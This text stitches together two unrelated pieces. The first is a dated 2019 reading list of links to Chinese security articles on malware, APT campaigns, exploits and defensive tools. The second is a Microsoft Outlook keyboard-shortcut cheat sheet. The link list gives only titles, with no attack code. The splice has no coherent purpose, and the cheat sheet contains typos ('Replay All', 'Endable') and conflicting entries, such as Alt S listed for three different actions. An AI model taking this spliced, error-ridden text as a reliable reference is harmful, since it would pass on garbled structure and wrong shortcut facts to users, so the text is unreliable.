- 9.19 [揭密某款在暗网上售卖的勒索病毒](https://www.anquanke.com/post/id/186952)
- 9.20 [大型互联网企业威胁情报运营与实践思考](https://www.secpulse.com/archives/112888.html)
- 9.20 [Phpstudy官网于2016年被入侵,犯罪分子篡改软件并植入后门](https://www.anquanke.com/post/id/187152)
- 9.22 [瞒天过海:某APT组织利用鱼叉邮件渗透多个行业窃取敏感数据](https://www.freebuf.com/articles/system/213652.html)
- 9.23 [30万台杂牌手机被预装木马,组庞大猫池提供黑产服务](https://www.freebuf.com/news/214959.html)
- 9.23 [Social_Attacker:自动化社交媒体钓鱼框架](https://www.freebuf.com/sectool/213766.html)
- 9.24 [Usbrip:用于跟踪USB设备固件的简单CLI取证工具](https://www.freebuf.com/sectool/210305.html)
- 9.25 [如何绕过macOS隐私控制机制](https://www.anquanke.com/post/id/187307)
- 9.25 [【ATT&CK】端口转发技术大全(上)](https://www.secpulse.com/archives/113242.html)
- 9.25 [2019年第二季度的垃圾邮件和网络钓鱼数据统计](https://www.freebuf.com/articles/network/212957.html)
- 9.27 [PhpStudy 后门分析](https://www.anquanke.com/post/id/187560)
- 9.27 [BlueKeep漏洞利用分析](https://www.freebuf.com/vuls/214775.html)
- 9.27 [深度揭秘移动黑产是如何通过插件化技术谋取利益(二)](https://blog.trustlook.com/shen-du-jie-mi-yi-dong-hei-chan-shi-ru-he-tong-guo-cha-jian-hua-ji-zhu-mou-qu-li-yi-er-2/)
- 9.27 [一次APP渗透实战](https://www.secpulse.com/archives/113453.html)
- 9.28 [2019上半年移动安全报告](https://www.freebuf.com/articles/network/213648.html)
- 9.28 [Gorgon APT黑客组织觊觎虚拟货币钱包](https://www.freebuf.com/articles/system/214547.html)
- 9.29 [一次利用泛微OA最新漏洞攻击活动分析拓展](https://www.anquanke.com/post/id/187748)
- 9.29 [物联网安全从入门到入坑](https://paper.seebug.org/1045/)
- 9.29 [威胁猎人黑产研究 | IPv6发展带来的反欺诈难题](https://www.anquanke.com/post/id/187725)
- 9.29 [刷屏的iPhone硬件漏洞,Checkm8对普通用户似乎并没什么影响](https://www.freebuf.com/news/215649.html)
- 9.29 [反间谍软件之旅(二)](https://www.anquanke.com/post/id/187621)
- 9.30 [美国中央情报局网络武器库分析与披露](https://www.anquanke.com/post/id/187795)
- 9.30 [Stealth Falcon黑客组织无文件后门分析](https://www.freebuf.com/articles/network/214014.html)
- 0x09
- 10.1 [AuthCov:一款功能强大的开源Web应用程序授权爬行和扫描工具](https://www.freebuf.com/sectool/213683.html)
- 10.1 [窃取加密货币的新型木马:InnfiRAT](https://www.freebuf.com/articles/system/214678.html)
- 10.2 [某通信工具收费表情安全性研究](https://www.freebuf.com/sectool/214098.html)
- 10.4 [反间谍之旅:首款安卓远控木马工具分析](https://www.freebuf.com/articles/terminal/214201.html)
- 10.5 [安卓被曝已遭利用的新0day,影响多数安卓设备](https://www.freebuf.com/vuls/215866.html)
- 10.5 [Emotet家族僵尸网络活动激增,谨慎打开来源不明邮件](https://www.freebuf.com/articles/system/215014.html)
- 10.6 [如何PWN掉西门子工控设备](https://www.freebuf.com/articles/network/213897.html)
- 10.7 [macOS用户威胁总结](https://www.freebuf.com/articles/network/214432.html)
- 10.7 [ehtools:一款WiFi渗透框架](https://www.freebuf.com/sectool/214258.html)
- 10.8 [DNS隧道流量分析](https://www.freebuf.com/articles/security-management/214923.html)
- 10.8 [Whatsapp 被曝漏洞 一张 GIF 动图黑客便可接管账户](http://hackernews.cc/archives/27603)
- 10.8 [俄罗斯黑客修改浏览器植入流量指纹](https://www.solidot.org/story?sid=62177)
- 10.8 [美国政府持续深入开展爱因斯坦项目以提升网络威胁感知能力(2019)](https://www.sec-un.org/%e7%be%8e%e5%9b%bd%e6%94%bf%e5%ba%9c%e6%8c%81%e7%bb%ad%e6%b7%b1%e5%85%a5%e5%bc%80%e5%b1%95%e7%88%b1%e5%9b%a0%e6%96%af%e5%9d%a6%e9%a1%b9%e7%9b%ae%e4%bb%a5%e6%8f%90%e5%8d%87%e7%bd%91%e7%bb%9c%e5%a8%81/)
- 10.9 [一文看懂ATT&CK框架以及使用场景实例](https://www.anquanke.com/post/id/187998)
- 10.9 [DrSemu:基于动态行为的恶意软件检测与分类工具](https://www.freebuf.com/sectool/214277.html)
- 10.9 [来自TransparentTribe APT组织的窃密](https://www.secpulse.com/archives/114209.html)
- 10.9 [Simjacker技术分析报告](https://www.anquanke.com/post/id/188110)
- 10.9 [流量e魔病毒分析报告](https://www.freebuf.com/articles/terminal/215168.html)
- 10.9 [腾讯110发中老年人反欺诈白皮书](https://www.pingwest.com/w/195494)
- 10.10 [Mac终端利器iTerm2被曝严重的RCE漏洞,至少已存在7年](https://www.freebuf.com/news/216278.html)
- 10.11 [邮箱账号反查电话号码可行性研究](https://www.freebuf.com/articles/others-articles/215097.html)
- 10.11 [勒索病毒变InfoStealer,Ryuk又双叒叕有新瓜可以吃了?](https://www.secpulse.com/archives/115257.html)
- 10.11 [侧信道攻击,从喊666到入门之——错误注入攻击白盒](https://www.anquanke.com/post/id/188340)
- 10.11 [资产十问](https://www.sec-un.org/%e8%b5%84%e4%ba%a7%e5%8d%81%e9%97%ae/)
- 10.12 [Google Play 商店发现能够自行隐藏图标的恶意广告应用](http://hackernews.cc/archives/27725)
- 10.12 [OneForAll:一款功能强大的子域收集工具](https://paper.seebug.org/1053/)
- 10.13 [2019跟踪软件情况报告](https://www.freebuf.com/articles/paper/216059.html)
- 10.13 [ArmourBird CSF:一款针对容器实例服务的安全框架](https://www.freebuf.com/sectool/215106.html)
- 10.13 [Glupteba恶意软件变种分析](https://www.freebuf.com/articles/network/214260.html)
- 10.13 [全球TOP恶意软件分析:HawkEye最新变种](https://www.freebuf.com/articles/system/216436.html)
- 10.14 [反间谍软件之旅(三)](https://www.anquanke.com/post/id/188613)
- 10.14 [美国中央情报局网络武器库分析与披露](https://www.freebuf.com/articles/system/215746.html)
- 10.15 [奇博CMS全局密钥可枚举漏洞分析](https://www.freebuf.com/vuls/214042.html)
- 10.16 [一种虚假“短信通道商”黑产活动的揭露](https://www.anquanke.com/post/id/188794)
- 10.17 [Linux恶意软件SkidMap分析](https://www.freebuf.com/articles/network/214638.html)
- 10.17 [微博刷水事件:头部KOL太贵,才养活了一批假网红。](http://www.ijiandao.com/2b/baijia/325043.html)
10.18 [虚假流量罗生门](https://www.pingwest.com/a/196114)
- 10.18 [针对海外贸易公司的钓鱼攻击](https://www.anquanke.com/post/id/189066)
- 10.18 [存在至少 4 年的 Linux 漏洞被发现:可通过 WiFi 攻击目标计算机](http://hackernews.cc/archives/27795)
- 10.18 [深度揭秘移动黑产是如何通过插件化技术谋取利益(三)](https://blog.trustlook.com/shen-du-jie-mi-yi-dong-hei-chan-shi-ru-he-tong-guo-cha-jian-hua-ji-zhu-mou-qu-li-yi-san/)
- 10.19 [Sim卡及移动端核弹漏洞密集爆发:近期网络战顶级数字武器解析](https://www.freebuf.com/articles/terminal/216295.html)
- 10.19 [腾讯QQ升级程序存在漏洞 被利用植入后门病毒](http://www.91ri.org/17912.html)
- 10.21 [IAST原理分析以及在SDL中的应用](https://www.freebuf.com/articles/web/216185.html)
- 10.21 [Fwanalyzer:文件系统镜像分析工具](https://www.freebuf.com/sectool/213739.html)
- 10.21 [Truegaze:一款针对AndroidiOS应用源码的静态分析工具](https://www.freebuf.com/articles/terminal/214270.html)
- 10.21 [移动端漏洞频发,部分呈现军火化趋势](https://www.freebuf.com/articles/terminal/216538.html)
- 10.23 [针对USB外设的命令注入渗透](https://www.freebuf.com/articles/terminal/214431.html)
- 10.23 [小红帽和林间老狼](https://www.kaspersky.com.cn/blog/fairy-tales-red-hood/10213/)
- 10.24 [僵尸网络XorDDoS的原理分析与清除](https://www.secpulse.com/archives/116251.html)
- 10.24 [黑客利用缓存中毒攻击将目标锁定CDN保护网站](https://www.freebuf.com/news/217870.html)
- 10.24 [披露:导致一个自动化设备生产商全球的系统宕机一周的罪魁祸首](https://www.anquanke.com/post/id/189458)
- 10.24 [从一个色情样本披露色情黑产产业链一角](https://www.freebuf.com/articles/system/216985.html)
- 10.25 [对lucker勒索病毒简单分析](https://www.freebuf.com/articles/network/217888.html)
- 10.25 [反诈骗之旅(一):仿冒公安政务](https://www.anquanke.com/post/id/189490)
- 10.25 [CPDoS:一种新的Web缓存污染攻击](https://www.anquanke.com/post/id/189507)
- 10.26 [虚假应用潜入TOP100:论恶意软件如何逃过检测](https://www.freebuf.com/articles/network/215689.html)
- 10.26 [“商贸信”类木马来袭:利用漏洞文档传播AgentTesla窃取用户凭证](https://www.freebuf.com/articles/system/216797.html)
- 10.27 [我顺藤摸瓜端了色情网站的老窝,并劝他从良](http://www.ijiandao.com/2b/baijia/328406.html)
- 10.27 [反间谍之旅:针对伊朗的网络之战](https://www.freebuf.com/articles/terminal/216699.html)
- 10.28 [DorkBot僵尸网络近期活跃情况报告](https://www.secpulse.com/archives/116516.html)
- 10.28 [哈鱼矿工攻击事件分析](https://www.freebuf.com/articles/terminal/217193.html)
- 10.28 [利用关联网络,防控信用卡“养卡套现”](https://www.anquanke.com/post/id/189781)
- 10.28 [一道逆向的三种解题思路](https://www.secpulse.com/archives/116548.html)
- 10.29 [疑似Group123(APT37)针对中韩外贸人士的攻击活动分析](http://hackernews.cc/archives/27922)
- 10.29 [Mysterious malware that re-installs itself infected over 45,000 Android Phones](https://thehackernews.com/2019/10/remove-xhelper-android-malware.html)
- 10.29 [入侵威胁分析专家Manati使用攻略](https://www.freebuf.com/sectool/216060.html)
- 10.29 [APT35研究白皮书(一)](https://www.freebuf.com/articles/network/216388.html)
- 10.29 [Phobos勒索软件变种分析报告](https://www.freebuf.com/articles/network/217129.html)
- 10.29 [视频直播类黑色产业链专项分析](https://www.freebuf.com/articles/terminal/216252.html)
- 10.30 [细述最具影响力的三大安全架构:零信任、ATT&CK、自适应安全](https://www.secpulse.com/archives/116712.html)
- 10.30 [Mitaka:针对开源情报收集任务的浏览器扩展](https://www.freebuf.com/sectool/215921.html)
- 10.30 [印度APT组织攻击我国多个目标曝光](https://www.anquanke.com/post/id/189971)
- 10.30 [高危!我国多个重要单位被境外APT黑客组织Bitter攻陷](https://www.freebuf.com/articles/network/218446.html)
- 10.30 [某国产浏览器中间人漏洞Bettercap安全测试](https://www.freebuf.com/vuls/216058.html)
- 10.30 [某黑客组织针对越南的一次攻击](https://www.anquanke.com/post/id/189711)
- 10.30 [突发 | 某国网军执行APT攻击的后台架构曝光](https://www.freebuf.com/articles/system/218409.html)
- 10.30 [恶意软件分析:分析一款针对Linux系统的新型Golang勒索软件](https://www.freebuf.com/articles/network/216235.html)
- 10.31 [McAfee: Malicious Voicemails Target Office365 Users](https://www.bankinfosecurity.com/mcafee-malicious-voicemails-target-office365-users-a-13327)
- 10.31 [Be Anyone or Anything with Facial Projection Mask](https://hackaday.com/2019/10/31/be-anyone-or-anything-with-facial-projection-mask/)
- 10.31 [我分析了2018-2020年青年安全圈450个活跃技术博客和博主](https://www.anquanke.com/post/id/189976)
- 10.31 [反间谍之旅:模拟订阅高级服务](https://www.freebuf.com/articles/terminal/215594.html)
- 10.31 [别轻易打街边小广告电话,你可能被一群混混从浴室里拽出来。](https://www.secpulse.com/archives/117034.html)
- 10.31 [wav音乐里面竟然有病毒?这谁受得了啊!](https://www.freebuf.com/news/217215.html)
- 10.31 [Chinese hackers developed malware to steal SMS messages from telco's network](https://www.zdnet.com/article/chinese-hackers-developed-malware-to-steal-sms-messages-from-telcos-network/)
- 0x10
- 11.1 [确认!印度核电站网络上发现朝鲜恶意软件](https://www.freebuf.com/news/218685.html)
- 11.1 [记一次APP双向认证抓包](https://www.anquanke.com/post/id/190080)
- 11.1 [恶意软件将路由器捆绑至僵尸网络 黑客可以借此发动DDoS攻击](http://hackernews.cc/archives/28015)
- 11.1 [聊聊区块链安全攻防实践](http://www.ijiandao.com/2b/baijia/329584.html)
- 11.2 [APT35研究白皮书(二)](https://www.freebuf.com/articles/network/216557.html)
- 11.2 [流量加密又怎样? 多种姿势检测“冰蝎”](https://www.freebuf.com/articles/web/216133.html)
- 11.4 [区块链智能合约控制流识别的大规模实验研究](https://paper.seebug.org/1072/)
- 11.4 [ATM恶意软件家族Dtrack](https://www.freebuf.com/articles/network/215830.html)
- 11.4 [揭密无文件勒索病毒攻击,思考网络安全新威胁](https://www.freebuf.com/articles/system/218885.html)
- 11.4 [只是想学习外语,却被拿了system shell?](https://paper.seebug.org/1070/)
- 11.4 [导致一个自动化设备生产商全球的系统宕机一周的罪魁祸首](https://www.freebuf.com/articles/system/217852.html)
- 11.5 [冒充安恒信息对看雪论坛的一次定向钓鱼攻击](https://www.freebuf.com/news/219142.html)
- 11.5 [Anubis银行木马仿冒抖音国际版攻击活动披露](https://www.anquanke.com/post/id/190274)
- 11.5 [警惕来自节假日的祝福:APT 攻击组织”黑格莎(Higaisa)”攻击活动披露](http://hackernews.cc/archives/28043)
- 11.6 [看我如何绕过macOS的隐私控制](https://www.freebuf.com/vuls/216313.html)
- 11.6 [DorkBot僵尸网络近期活跃情况报告](https://www.freebuf.com/articles/paper/218090.html)
- 11.6 [基于ATT&CK框架的红蓝对抗,有效提升检测能力](https://www.sec-un.org/%e5%9f%ba%e4%ba%8eattck%e6%a1%86%e6%9e%b6%e7%9a%84%e7%ba%a2%e8%93%9d%e5%af%b9%e6%8a%97%ef%bc%8c%e6%9c%89%e6%95%88%e6%8f%90%e5%8d%87%e6%a3%80%e6%b5%8b%e8%83%bd%e5%8a%9b/)
- 11.7 [APT组织“响尾蛇”对巴基斯坦攻击事件报告](https://www.freebuf.com/articles/es/218416.html)
- 11.7 [IoT恶意软件报告](https://www.freebuf.com/articles/network/217054.html)
- 11.8 [针对制药行业及政企的黑客组织最新攻击活动深度分析](https://paper.seebug.org/1073/)
- 11.8 [Emotet银行木马攻击利用技术分析](https://www.anquanke.com/post/id/190660)
- 11.8 [机场安全性分析](https://www.freebuf.com/articles/security-management/217041.html)
- 11.8 [当年奥运会背后的网络暗战和幕后网军真相](https://www.freebuf.com/articles/others-articles/217710.html)
- 11.8 [利用关联网络防控信用卡养卡套现](https://www.freebuf.com/articles/es/218158.html)
- 11.9 [PKPLUG黑客组织分析](https://www.freebuf.com/articles/network/215892.html)
- 11.9 [TA505黑产团伙更新诱饵:使用进度条迷惑受害者](https://www.freebuf.com/articles/system/217908.html)
- 11.10 [分析银行木马的恶意快捷方式及混淆的Powershell](https://www.freebuf.com/articles/network/215898.html)
- 11.10 [最全Linux应急响应技巧](https://www.freebuf.com/articles/system/218407.html)
- 11.11 [备战双十一?网络欺诈者正在为账户接管攻击做大量测试](https://www.freebuf.com/articles/paper/219649.html)
- 11.11 [反诈骗之旅:仿冒公安政务](https://www.freebuf.com/articles/terminal/217910.html)
- 11.11 [最后一个登录框引起的血案](https://www.freebuf.com/vuls/219210.html)
- 11.11 [APT技术观察——APT与隐写术](http://blog.nsfocus.net/apt-technology-observation-apt-and-steganography/)
- 11.11 [Splinter新APT攻击工具透析](http://blog.nsfocus.net/splinters-new-apt-attack-tool-dialysis/)
- 11.12 [ThreatIngestor:一款功能强大的威胁情报提取和聚合工具](https://www.freebuf.com/sectool/218725.html)
- 11.12 [Hakbit勒索病毒突袭国内,奇安信首发解密工具](https://www.freebuf.com/articles/system/219673.html)
- 11.13 [Doctor Web’s October 2019 virus activity review](https://news.drweb.com/show/?i=13519&lng=en)
- 11.13 [盘点近几年勒索病毒使用过的工具和漏洞](https://www.secpulse.com/archives/118154.html)
- 11.13 [反间谍软件之旅(四)](https://www.anquanke.com/post/id/192752)
- 11.13 [TransparentTribe APT组织最新样本分析报告](https://www.freebuf.com/articles/system/218264.html)
- 11.14 [煤矿中的金丝雀:使用DNS和AD检测枚举活动](https://www.anquanke.com/post/id/190588)
- 11.14 [疑似Group123 (APT37)针对中韩外贸人士的攻击活动分析](https://www.freebuf.com/news/218260.html)
- 11.14 [DVWA开启渗透测试之旅与代码分析(二)](https://www.freebuf.com/articles/web/218170.html)
- 11.15 [核心工业系统陷入危机?印度核电厂遭受网络攻击事件梳理与分析](https://www.freebuf.com/articles/system/218622.html)
- 11.16 [挖洞经验 | PayPal未配置恰当的爬虫索引(robots)规则导致的用户敏感信息泄露漏洞](https://www.freebuf.com/vuls/217007.html)
- 11.16 [Graboid蠕虫分析](https://www.freebuf.com/articles/network/217100.html)
- 11.16 [追踪影响数百万用户的Android广告软件开发人员](https://www.freebuf.com/articles/terminal/219404.html)
- 11.16 [疑似Lazarus针对双平台的攻击活动披露](https://www.freebuf.com/articles/system/218901.html)
- 11.17 [DEX文件解析---1、dex文件头解析](https://www.52pojie.cn/thread-1057245-1-1.html)
- 11.18 [流量暗刷木马新秀:IECode](https://www.freebuf.com/articles/system/218737.html)
- 11.18 [黑客利用区块链新币传播为契机构造诱饵](https://www.freebuf.com/articles/system/218802.html)
- 11.18 [中小企业运维中容易被低估的日志](https://www.freebuf.com/articles/network/219372.html)
- 11.18 [黑客盗取上万条 Disney+ 帐户并出售](http://hackernews.cc/archives/28370)
- 11.19 [Emotet银行木马攻击利用技术分析](https://www.freebuf.com/articles/system/219562.html)
- 11.19 [AutoMacTC:一款针对macOS环境的自动化取证分类采集器](https://www.freebuf.com/sectool/218812.html)
- 11.21 [色情直播类黑色产业链背后黑幕分析](http://www.ijiandao.com/2b/baijia/336029.html)
- 11.21 [新型银行木马Mispadu利用虚假麦当劳广告窃取用户信息](https://www.freebuf.com/news/220759.html)
- 11.21 [使用TextCNN模型探究恶意软件检测问题](https://www.anquanke.com/post/id/193041)
- 11.21 [利用IQY(Excel Web Query)文件分发,Buran勒索病毒又出新变种](https://www.secpulse.com/archives/118852.html)
- 11.21 [APT组织“拍拍熊”对巴勒斯坦政府攻击事件报告](https://www.freebuf.com/articles/es/220388.html)
- 11.21 [Anubis银行木马仿冒抖音国际版攻击活动披露](https://www.freebuf.com/articles/terminal/219069.html)
- 11.22 [“A.I.type虚拟键盘”的风险提示](https://www.anquanke.com/post/id/193421)
- 11.22 [网络钓鱼工具Modlishka的细节分析](https://www.freebuf.com/articles/network/217091.html)
- 11.23 [iOS端的堆溢出以及内核溢出漏洞分析](https://www.freebuf.com/vuls/217181.html)
- 11.24 [ATM恶意软件家族Dtrack](https://www.freebuf.com/articles/network/215831.html)
- 11.25 [針對韓國使用者的Mac後門程式](https://blog.trendmicro.com.tw/?p=62707)
- 11.25 [只需十元钱,就可以“拥有”无数充电宝?](http://www.ijiandao.com/2b/baijia/337623.html)
- 11.25 [追溯朝鲜APT组织Lazarus的攻击历程](https://www.secpulse.com/archives/118990.html)
- 11.26 [反间谍之旅:反虚拟机检测](https://www.freebuf.com/articles/terminal/219885.html)
- 11.27 [微软披露恶意挖矿软件 Dexphot 完整信息:全球已有 8 万台设备受感染](http://hackernews.cc/archives/28536) - 11.27 [Python-Fuzzing脚本编写](https://www.secpulse.com/archives/119133.html)
- 11.27 [Threat_Note:一款功能强大的IoC数据检索与记录工具](https://www.freebuf.com/articles/terminal/219842.html)
- 11.27 [基于无线路由器僵尸网络攻击游戏服务器](https://www.freebuf.com/articles/network/219171.html)
- 11.29 [Android勒索病毒分析(上)](https://paper.seebug.org/1085/)
- 11.29 [月光再临——MoonLight组织针对中东地区的最新攻击活动剖析](https://www.anquanke.com/post/id/193844)
- 11.30 [披露报告:流氓家族窃取用户浏览隐私活动](https://www.freebuf.com/articles/system/220670.html)
- 0x11
- 12.1 [HFish蜜罐使用心得](https://www.freebuf.com/vuls/220646.html)
- 12.1 [提权总结以及各种利用姿势](https://www.freebuf.com/articles/web/219970.html)
- 12.2 [追溯朝鲜APT组织Lazarus的攻击历程](https://www.freebuf.com/articles/system/221008.html)
- 12.2 [自己动手制作一个恶意流量检测系统(附源码)](https://www.freebuf.com/articles/system/220565.html)
- 12.3 [游戏产业的阴暗面:外挂的秘密世界](https://www.kaspersky.com.cn/blog/malware-like-cheats/10485/)
- 12.4 [揭秘美国网络安全体系架构](https://www.freebuf.com/articles/network/221852.html)
- 12.4 [Strandhogg漏洞:Android系统上的维京海盗](https://www.anquanke.com/post/id/194224)
- 12.4 [Matrix勒索病毒最新变种GSAFE曝光,单台赎金高达十万人民币](https://www.secpulse.com/archives/119904.html)
- 12.4 [Windows与Linux双平台无文件攻击:PowerGhost挖矿病毒最新变种感染多省份](https://www.freebuf.com/articles/system/219715.html)
- 12.5 [恶意 Python 库被发现会窃取 SSH 和 GPG 密钥](https://www.solidot.org/story?sid=62845)
- 12.6 [零信任+:边界信任模型,零信任模型与零信任+浅谈](https://www.freebuf.com/articles/es/220633.html)
- 12.6 [“海莲花”(OceanLotus) 2019 年针对中国攻击活动汇总](http://hackernews.cc/archives/28699)
- 12.9 [New ‘PyXie’ Python RAT targets multiple industries](https://securityaffairs.co/wordpress/94856/malware/pyxie-rat.html)
- 12.9 [TrickBot的演变历程](https://www.secpulse.com/archives/120146.html)
- 12.13 [404 Keylogger最新木马,盗取受害者浏览器网站帐号和密码](https://www.secpulse.com/archives/120499.html)
- 12.13 [macOS文件名混淆技术研究](https://www.anquanke.com/post/id/194857)
- 12.13 [勒索病毒新玩法 ——加密锁屏改密码,私密文件公开化](https://www.secpulse.com/archives/120502.html)
- 12.15 [Adobe Flash Player木马惊现新变种](https://www.freebuf.com/articles/terminal/221555.html)
- 12.17 [Malwarebytes 报告:2019 Mac 威胁检测呈上升趋势](http://hackernews.cc/archives/28824)
- 12.17 [Attack Monitor:一款功能强大的终端检测&恶意软件分析软件](https://www.freebuf.com/articles/network/221893.html)
- 12.18 [为什么ATT&CK对APT关联归属分析用处不大](https://www.sec-un.org/%e4%b8%ba%e4%bb%80%e4%b9%88attck%e5%af%b9apt%e5%85%b3%e8%81%94%e5%bd%92%e5%b1%9e%e5%88%86%e6%9e%90%e7%94%a8%e5%a4%84%e4%b8%8d%e5%a4%a7/)
- 12.18 [广州城中村有个姑娘内衣被偷,一周后我找到了跟踪她的人。](https://www.secpulse.com/archives/120818.html)
- 12.18 [青藤细述ATT&CK框架:攻击者最常用的TOP7攻击技术及其检测策略](https://www.secpulse.com/archives/120794.html)
- 12.19 [蔓灵花(APT-C-08)移动平台攻击活动揭露](https://www.anquanke.com/post/id/195378)
- 12.19 [出租屋安全指南](https://www.secpulse.com/archives/120911.html)
- 12.19 [针对韩国数百家工业系统的APT攻击正波及全球](https://www.anquanke.com/post/id/195346)
- 12.19 [新披露金眼狗黑产团伙:木马诱饵污秽不堪](https://www.freebuf.com/articles/system/222357.html)
- 12.20 [下一代网络隔离方案:自适应微隔离应该如何设计?](https://www.secpulse.com/archives/120935.html)
- 12.20 [“海莲花”(OceanLotus)2019年针对中国攻击活动汇总](https://www.freebuf.com/articles/paper/222126.html)
- 12.20 [使用IDA处理U-Boot二进制流文件](https://www.freebuf.com/sectool/221983.html)
- 12.20 [2019年最活躍的銀行木馬:Trickbot更新密碼擷取模組,鎖定更多應用程式和服務](https://blog.trendmicro.com.tw/?p=62934)
- 12.21 [【PPT分享】汪嘉来:欺骗AI,从定向到实际](https://www.inforsec.org/wp/?p=3783)
- 12.21 [【PPT分享】杨皓:非法在线博彩分析与研究](https://www.inforsec.org/wp/?p=3791)
- 12.23 [黑产大数据:黑产攻击流程自动化体系](https://www.anquanke.com/post/id/195529)
- 12.23 [PBTK:一款针对Protobuf App的逆向工程与模糊测试套件](https://www.freebuf.com/articles/system/223128.html)
- 12.23 [P2P Botnet: Mozi分析报告](https://blog.netlab.360.com/p2p-botnet-mozi/)
- 12.23 [追踪美国总统日常行程:现实版电子上帝](https://www.anquanke.com/post/id/195600)
- 12.23 [印度核电厂被攻击幕后阴谋渐显:“他们正在下一步很大的棋”](https://www.freebuf.com/articles/system/222596.html)
- 12.23 [HIDS系统存储方案探索与实践](https://www.freebuf.com/articles/es/222976.html)
- 12.24 [勒索病毒攻击新玩法,先盗数据再勒索](https://www.freebuf.com/articles/system/223494.html)
- 12.24 [2019年移动应用安全十件影响力事件](https://www.anquanke.com/post/id/195635)
- 12.24 [全新 Mozi P2P 僵尸网络入侵 Netgear、D-Link、Huawei 路由器](http://hackernews.cc/archives/29000)
- 12.25 [Twitter Android app 漏洞被用于匹配 1700 万用户手机号码](https://www.solidot.org/story?sid=63050)
- 12.25 [ATT&CK 之防御逃逸](https://paper.seebug.org/1103/)
- 12.25 [Gafgyt家族物联网僵尸网络家族分析](https://www.freebuf.com/articles/others-articles/222677.html)
- 12.26 [由HTTPS抓包引发的一系列思考](https://www.freebuf.com/articles/web/222564.html)
- 12.26 [隐私政策保护中第三方sdk问题](https://blog.trustlook.com/yin-si-zheng-ce-bao-hu-zhong-di-san-fang-sdkwen-ti/)
- 12.26 [2019年勒索软件:针对市政部门的全面攻击](https://www.freebuf.com/articles/network/223202.html)
- 12.26 [揭露电信诈骗之悄无声息的转走银行卡资金](https://www.anquanke.com/post/id/195840)
- 12.29 [404 Keylogger最新木马,盗取受害者浏览器网站帐号和密码](https://www.freebuf.com/articles/system/222808.html)
- 12.30 [关于印发《App违法违规收集使用个人信息行为认定方法》的通知](https://www.anquanke.com/post/id/196074)
- 12.30 [穷源溯流:KONNI APT组织伪装韩国Android聊天应用的攻击活动剖析](https://www.freebuf.com/articles/terminal/223567.html)
- 12.30 [伸向中亚地区的触手——DustSquad APT组织针对乌兹别克斯坦的活动分析](https://www.anquanke.com/post/id/196067)
- 12.31 [非法支付之恶:涉案540多亿的非法网络支付连环案告破](https://www.anquanke.com/post/id/196164)
- 12.31 [警惕伪装成“Synaptics触摸板驱动程序”的新型蠕虫病毒](https://www.freebuf.com/articles/terminal/222991.html)
****
##关于
author: [drov_liu](none)
|
sec-knowleage
|
---
title: Microsoft Outlook
date: 2022-11-23 16:23:31.698084
background: bg-[#3a7cd1]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 210 keyboard shortcuts found in Microsoft Outlook
---
Keyboard Shortcuts
------------------
### Frequently used
Shortcut | Action
---|---
`Esc` | Close
`Alt` `H` | Go to Home tab
`Ctrl` `Shift` `M` | New message
`Alt` `S` | Send
`Alt` `N` | Insert file
`Ctrl` `Shift` `K` | New task
`Delete` | Delete
`Ctrl` `E` | Search
`Ctrl` `R` | Reply
`Ctrl` `F` | Forward
`Ctrl` `Shift` `R` | Reply all
`Ctrl` `C` | Copy
`Alt` `S` | Send/Receive
`Ctrl` `2` | Go to calendar
`Ctrl` `Shift` `A` | Create appointment
`Alt` `H` `M, V` | Move to folder
`Alt` `J` `A` | Attachment Save As
{.shortcuts}
### Basic navigation
Shortcut | Action
---|---
`Ctrl` `1` | Switch to Mail view
`Ctrl` `2` | Switch to Calendar view
`Ctrl` `3` | Switch to Contacts view
`Ctrl` `4` | Switch to Tasks view
`Ctrl` `5` | Switch to Notes
`Ctrl` `6` | Switch to Folders list in the Folder pane
`Ctrl` `7` | Switch to Shortcuts
`Ctrl` `.` | Switch to next open message
`Ctrl` `,` | Switch to previous open message
`Ctrl` `Shift` `Tab` | Move between Folder/Outlook/Reading/To-Do
`Ctrl` `Tab` | Move ar ound message header lines in the Folder pane
`Arrows` | Move around within the Folder pane
`Ctrl` `Y` | Go to a different folder
`Ctrl` `E` | Go to the Search box
`Alt` `Up` | In the Reading pane, go to the previous message
`Space` | In the Reading pane, page down through text
`Shift` `Space` | In the Reading pane, page up through text
`Left/Right` | Collapse or expand a group in the email message list
`Alt` `B/Left` | Go back to previous view in the main Outlook window
`Alt` `Right` | Go forward to next view in the main Outlook window
`Ctrl` `Shift` `W` | Select the InfoBar and, if available, show menu of commands
{.shortcuts}
### Search
Shortcut | Action
---|---
`Ctrl` `E` | Find a message or other item
`Esc` | Clear the search results
`Ctrl` `Alt` `A` | Expand the search to include all items in module you are in
`Ctrl` `Shift` `F` | Use Advanced Find
`Ctrl` `Shift` `P` | Create a Search folder
`F4` | Search for text within an open item
`Ctrl` `H` | Find and replace text/symbols in Reading pane
`Ctrl` `Alt` `K` | Expand search to include items from the current folder
`Ctrl` `Alt` `Z` | Expand search to include subfolders
{.shortcuts}
### Create an item or file
Shortcut | Action
---|---
`Ctrl` `Shift` `A` | Create an appointment
`Ctrl` `Shift` `C` | Create a contact
`Ctrl` `Shift` `L` | Create a contact group
`Ctrl` `Shift` `X` | Create a fax
`Ctrl` `Shift` `E` | Create a folder
`Ctrl` `Shift` `Q` | Create a meeting request
`Ctrl` `Shift` `M` | Create a message
`Ctrl` `Shift` `N` | Create a note
`Ctrl` `Shift` `H` | Create an Office document
`Ctrl` `Shift` `S` | Post to the selected folder
`Ctrl` `T` | Post a reply in the selected folder
`Ctrl` `Shift` `P` | Create a Search folder
`Ctrl` `Shift` `K` | Create a task
{.shortcuts}
### Commands in most views
Shortcut | Action
---|---
`Ctrl` `S` | Save (except in Tasks view)
`Alt` `S` | Save and close (except in Mail view)
`F12` | Save as (only in Mail view)
`Ctrl` `Z` | Undo
`Ctrl` `D` | Delete an item
`Ctrl` `P` | Print
`Ctrl` `Shift` `Y` | Copy an item
`Ctrl` `Shift` `V` | Move an item
`Ctrl` `K` | Check names
`F7` | Check spelling
`Ctrl` `Shift` `G` | Flag for follow-up
`Ctrl` `F` | Forward
`Alt` `S` | Send or post or invite all
`F2` | Endable editing in a field, all views except Mail/Icon
`Ctrl` `L` | Left align text
`Ctrl` `E` | Center text
`Ctrl` `R` | Right align text
{.shortcuts}
### Mail {.row-span-2}
Shortcut | Action
---|---
`Ctrl` `Shift` `I` | Switch to Inbox
`Ctrl` `Shift` `O` | Switch to Outbox
`Ctrl` `K` | Check names
`Alt` `S` | Send
`Ctrl` `R` | Reply to a message
`Ctrl` `Shift` `R` | Replay All to a message
`Ctrl` `Alt` `R` | Reply with meeting request
`Ctrl` `F` | Forward a message
